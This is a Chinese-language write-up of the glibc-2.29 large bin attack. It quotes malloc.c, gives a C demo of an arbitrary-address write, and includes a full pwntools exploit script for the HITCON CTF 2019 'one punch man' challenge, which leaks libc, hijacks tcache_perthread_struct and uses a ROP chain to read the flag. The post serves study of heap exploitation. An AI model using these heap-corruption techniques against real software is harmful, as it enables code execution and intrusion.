glibc-2.29 large bin attack 原理

unsorted bin attack

在介绍新的攻击技术之前，先来缅怀一下 unsorted bin attack ，由于 glibc-2.29 新上的保护措施，使得 unsorted bin attack 基本已经成为过去式。

unsorted bin attack 的原理是利用 unsorted bin 在解链时，对 fd 指针的操作，直接的作用就是可以任意地址写入一个 main_arena 地址值，非常好用的攻击方法。虽然 glibc-2.29 不能使用 unsorted bin attack 了，但是 large bin attack 或许可以成为它的代替品。

large bin attack

glibc-2.29 的 large bin attack 和先前的并不完全一样，但是原理类似。

其主要发生在 large bin 的 nextsize 成环时，没有对其进行检查，所以只要存在 UAF 漏洞，就能修改 nextsize 指针进行任意地址写入 chunk 地址的操作。

漏洞主要发生在下列代码（来自 glibc-2.29/malloc/malloc.c:3841 ）：

      victim_index = largebin_index (size); 
      bck = bin_at (av, victim_index);
      fwd = bck->fd;

      /* maintain large bins in sorted order */
      if (fwd != bck)
        {
          /* Or with inuse bit to speed comparisons */
          size |= PREV_INUSE;
          /* if smaller than smallest, bypass loop below */
          assert (chunk_main_arena (bck->bk));
          if ((unsigned long) (size)
  < (unsigned long) chunksize_nomask (bck->bk))
            {
              fwd = bck;
              bck = bck->bk;

              victim->fd_nextsize = fwd->fd;
              victim->bk_nextsize = fwd->fd->bk_nextsize; // one
              fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
            }
          else
            {
              assert (chunk_main_arena (fwd));
              while ((unsigned long) size < chunksize_nomask (fwd))
                {
                  fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
                }

              // but size must be different
              if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
                /* Always insert in the second position.  */
                fwd = fwd->fd;
              else
                {
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize = victim; // two
                }
              bck = fwd->bk;
            }
        }
      else
        victim->fd_nextsize = victim->bk_nextsize = victim;

large bin 是以 victim_index 为单位进行 nextsize 之间的成环操作，每个 victim_index 的长度是 0x40，上面的代码是 unsorted bin 进行归位操作时，将本属于该环的 victim 插入到该环中。但是这里却没有 unsorted bin 那样对指针进行检查。

由于 large bin 是双向链表，插入操作并不会对整个环进行检查，这里我们只需要劫持其 bk_nextsize 指针，那么在插入的时候，程序便会把该假的地址当成一个真的 chunk 从而进行双向链表插入操作，这样就会使得该要插入的 chunk 将会留下它的地址到我们设置的任意地址。

其核心代码是victim->bk_nextsize = fwd->fd->bk_nextsize; // one或者victim->bk_nextsize->fd_nextsize = victim; // two，就是在这里完成了写操作，具体执行哪段代码还要取决与两个chunk 的size 比较。

这里提醒一点，两个chunk 的size不能相同，否则会执行下面程序流而导致不能实现我们的目的。

if ((unsigned long) size
  == (unsigned long) chunksize_nomask (fwd))
  /* Always insert in the second position.  */
  fwd = fwd->fd;

其次是 large bin 的 fd_nextsize 需要设置为0，否则程序流会执行到下面的代码进行unlink 操作，那么就无法通过 unlink 对 large bin 的 bk_nextsize 和 fd_nextsize 检查。

来自 glibc-2.29/malloc/malloc.c:4049

size = chunksize (victim);

/*  We know the first chunk in this bin is big enough to use. */
assert ((unsigned long) (size) >= (unsigned long) (nb));

remainder_size = size - nb;

/* unlink */
unlink_chunk (av, victim);

样例代码


#include <stdio.h>
#include <stdlib.h>

size_t buf[0x10];

int main()
{
    size_t *ptr, *ptr2, *ptr3;
    setbuf(stdout, NULL);

    ptr = malloc(0x438);
    malloc(0x18);
    ptr2 = malloc(0x448);
    malloc(0x18);
    free(ptr);
    // put ptr into large bin
    malloc(0x600);
    free(ptr2);
    ptr[2] = 0;
    ptr[3] = (size_t)&buf[0];

    printf("buf[4]: 0x%lx\n", buf[4]);
    ptr3 = malloc(0x68);
    printf("buf[4]: 0x%lx\n", buf[4]);

    return 0;
}

buf[4]就相当于 fake_chunk->fd_nextsize 指针，指向该节点的上一个节点。

执行结果如下所示：

buf[4]: 0x0
buf[4]: 0x560075a246b0

例题 - HITCON CTF 2019 PWN - one punch man

文件链接：one_punch_man.zip 。

该程序主要的漏洞就是在delete时没有清理指针，导致UAF。

void delete()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  write_str("idx: ");
  v0 = get_int();
  if ( v0 > 2 )
    error((__int64)"invalid");
  free((void *)heros[v0].calloc_ptr);
}

程序预置了后门函数，但是在tcache上有限制，必须要我们劫持tcache_perthread_struct才行，这里有两种思路，我自己的做法是劫持tcache_perthread_struct->entries，这里由于和本文章关系不大，这里我简要说下核心思路：利用tcache_perthread_struct->counts 伪造 size，然后利用 unlink 使得chunk overlap，然后控制其tcache_perthread_struct->entries。

第二种做法就是 balsn 战队的做法，很优秀的方法，核心思路就是利用 large bin attack 修改 tcache_perthread_struct->counts 来使用预置后门，然后用 add 当中的缓冲区进行 ROP。

下面是 balsn 的脚本。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763

r = process('./one_punch')

binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:
  libc = ELF("./libc-2.29.so")
  log.success("libc load success")
  system_off = libc.symbols.system
  log.success("system_off = "+hex(system_off))
except:
  log.failure("libc not found !")

def name(index, name):
  r.recvuntil("> ")
  r.sendline("1")
  r.recvuntil(": ")
  r.sendline(str(index))
  r.recvuntil(": ")
  r.send(name)
  pass

def rename(index,name):
  r.recvuntil("> ")
  r.sendline("2")
  r.recvuntil(": ")
  r.sendline(str(index))
  r.recvuntil(": ")
  r.send(name)

  pass

def d(index):
  r.recvuntil("> ")
  r.sendline("4")
  r.recvuntil(": ")
  r.sendline(str(index))
  pass

def show(index):
  r.recvuntil("> ")
  r.sendline("3")
  r.recvuntil(": ")
  r.sendline(str(index))

def magic(data):
  r.recvuntil("> ")
  r.sendline(str(0xc388))
  time.sleep(0.1)
  r.send(data)

# if len(sys.argv) == 1:
#   r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})

# else:
#   r = remote(host ,port)

if __name__ == '__main__':
  name(0,"A"*0x210)
  d(0)
  name(1,"A"*0x210)
  d(1)
  show(1)
  r.recvuntil(" name: ")
  heap = u64(r.recv(6).ljust(8,"\x00")) - 0x260
  print("heap = {}".format(hex(heap)))
  for i in xrange(5):
    name(2,"A"*0x210)
    d(2)
  name(0,"A"*0x210)
  name(1,"A"*0x210)
  d(0)
  show(0)
  r.recvuntil(" name: ")
  libc = u64(r.recv(6).ljust(8,"\x00")) - 0x1e4ca0
  print("libc = {}".format(hex(libc)))
  d(1)
  rename(2,p64(libc + 0x1e4c30))

  name(0,"D"*0x90)
  d(0)
  for i in xrange(7):
    name(0,"D"*0x80)
    d(0)
  for i in xrange(7):
    name(0,"D"*0x200)
    d(0)

  name(0,"D"*0x200)
  name(1,"A"*0x210)
  name(2,p64(0x21)*(0x90/8))
  rename(2,p64(0x21)*(0x90/8))
  d(2)
  name(2,p64(0x21)*(0x90/8))
  rename(2,p64(0x21)*(0x90/8))
  d(2)

  d(0)
  d(1)
  name(0,"A"*0x80)
  name(1,"A"*0x80)
  d(0)
  d(1)
  name(0,"A"*0x88 + p64(0x421) + "D"*0x180 )
  name(2,"A"*0x200)
  d(1)
  d(2)
  name(2,"A"*0x200)
  rename(0,"A"*0x88 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )
  d(0)
  d(2)

  // pause()
  name(0,"/home/ctf/flag\x00\x00" + "A"*0x1f0)
  magic("A")
  add_rsp48 = libc + 0x000000000008cfd6
  pop_rdi = libc + 0x0000000000026542
  pop_rsi = libc + 0x0000000000026f9e
  pop_rdx = libc + 0x000000000012bda6
  pop_rax = libc + 0x0000000000047cf8
  syscall = libc + 0xcf6c5
  magic( p64(add_rsp48))

  name(0,p64(pop_rdi) + p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) +
      p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall) +
      p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
      )
r.interactive()

在上面的 // pause()处暂停，查看其bin情况。

pwndbg> largebins 
largebins
0x400: 0x56224269a4c0 —▸ 0x7f455f1dd090 (main_arena+1104) ◂— 0x56224269a4c0
pwndbg> x/6gx 0x56224269a4c0
0x56224269a4c0:    0x4141414141414141	0x0000000000000421
0x56224269a4d0:    0x00007f455f1dd090	0x00007f455f1dd090
0x56224269a4e0:    0x0000000000000000	0x0000562242698010
pwndbg>

这里构造好了 large bin attack，当进行 unsorted bin 归位时，便会修改tcache_perthread_struct->counts。

glibc-2.29 large bin attack 原理

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unsorted bin attack

large bin attack

样例代码

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